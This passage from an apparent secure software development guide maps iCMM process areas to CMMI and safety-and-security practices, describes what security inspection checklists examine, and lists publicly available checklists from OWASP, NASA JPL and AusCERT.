</tr>
<tr>
<td>PA 00: Integrated Enterprise Management</td>
<td>Organizational Environment for Integration Organizational Innovation and Deployment (add iCMM PA 00)</td>
<td>AP01.05: Ensure Business Continuity&lt;br&gt;AP01.09: Identify Regulatory Requirements, Laws and Standards&lt;br&gt;AP01.13: Establish Independent S&amp;S Reporting&lt;br&gt;AP01.14: Establish a S&amp;S Plan&lt;br&gt;AP01.16: Monitor and Control Activities and Products</td>
</tr>
<tr>
<td>PA 01: Needs</td>
<td>Requirements Development</td>
<td>AP01.09: Identify Regulatory Requirements, Laws, and Standards&lt;br&gt;AP01.10: Develop and Deploy Safe and Secure Products and Services</td>
</tr>
<tr>
<td>PA 02: Requirements</td>
<td>Requirements Management</td>
<td>AP01.10: Develop and Deploy Safe and Secure Products and Services</td>
</tr>
<tr>
<td>PA 03: Design</td>
<td>Technical Solution</td>
<td>AP01.10: Develop and Deploy Safe and Secure Products and Services</td>
</tr>
<tr>
<td>PA 06: Design Implementation</td>
<td>Verification Validation</td>
<td>AP01.11: Objectively Evaluate Products&lt;br&gt;AP01.12: Establish S&amp;S Assurance Argument</td>
</tr>
<tr>
<td>PA 08: Evaluation</td>
<td>Process and Product Quality Assurance</td>
<td>AP01.12: Establish S&amp;S Assurance Argument&lt;br&gt;AP01.13: Establish Independent S&amp;S Reporting&lt;br&gt;AP01.16: Monitor and Control Activities and Products</td>
</tr>
<tr>
<td>PA 12: Supplier Agreement Management</td>
<td>Supplier Agreement Management Integrated Supplier Management</td>
<td>AP01.15 Select and Manage Suppliers, Products, and Services&lt;br&gt;AP01.10: Develop and Deploy Safe and Secure Products and Services</td>
</tr>
<tr>
<td>PA 21: Process Improvement</td>
<td>Organizational Process Focus</td>
<td>AP01.16: Monitor and Control Activities and Products</td>
</tr>
</tbody>
</table>
Checklists are at the heart of software inspections. Product checklists house the strongly preferred indicators that set the standard of excellence for the organization’s software products. They fuel the structured review process and form the standard of excellence expected for the software product. Some of the aspects of the software’s security that are considered in checklists include:

- **Completeness**: Checking focuses on traceability among software product artifacts of various types including requirements, specifications, designs, code, and test procedures. Completeness analysis may be assisted by tools that trace the components of a product artifact of one type to the components of another type. Completeness analysis of predecessor and successor artifacts reveals what sections are missing and what fragments may be extra. A byproduct of the completeness analysis is a clear view of the relationship of requirements to the code product: straightforward (one to one), simple analysis (many to one), and complex (one to many).

- **Correctness**: Checking focuses on reasoning about programs through the use of informal verification and correctness questions derived from the prime constructs of structured programming and their composite use in proper programs. Input domain and output range are analyzed for all legal values and all possible values. State data is similarly analyzed. Adherence to project specified disciplined data structures is analyzed. Asynchronous processes and their interaction and communication are analyzed.

- **Style**: Checking is based on project specified style guidance. This guidance is expected to call for block structured templates. Naming conventions and commentary are checked for consistency of use along with alignment, highlighting, and case. More advanced style guidance may call for templates for repeating patterns and semantic correspondence among software product artifacts of various types.

- **Rules of construction**: Checking focuses on the software application architecture and the specific protocols, templates, and conventions used to carry it out. For example, these include interprocess communication protocols, tasking and concurrent operations, program unit construction, and data representation.

- **Multiple views**: Checking focuses on the various perspectives and view points required to be reflected in the software product. During execution many factors must operate harmoniously as intended including initialization, timing of processes, memory management, input and output, and finite word effects. In building the software product, packaging considerations must be coordinated including program unit construction, program generation process, and target machine operations. Product construction disciplines of systematic design and structured programming must be followed as well as interactions with the user, operating system, and physical hardware.

The following publicly-available software and application security checklists are in relatively widely use for checking for one or more of these aspects. These checklists should help developers assess the key security aspects of their software at various stages of its lifecycle. URLs for these checklists appear in Appendix B.

- OWASP Web Application Penetration Checklist v1.1
- Software Security Checklist for the Software Life Cycle (component of the NASA JPL SSAI)
- Australian Computer Emergency Response Team (AusCERT) Secure Unix Programming Checklist (July 2002 version)
NOTE: In early 2006, DISA is expected to release an Application Security Development Secure Technical Implementation Guide (STIG), to be followed by an accompanying checklist. This STIG and checklist will focus on verifying a number of the development practices discussed in this document.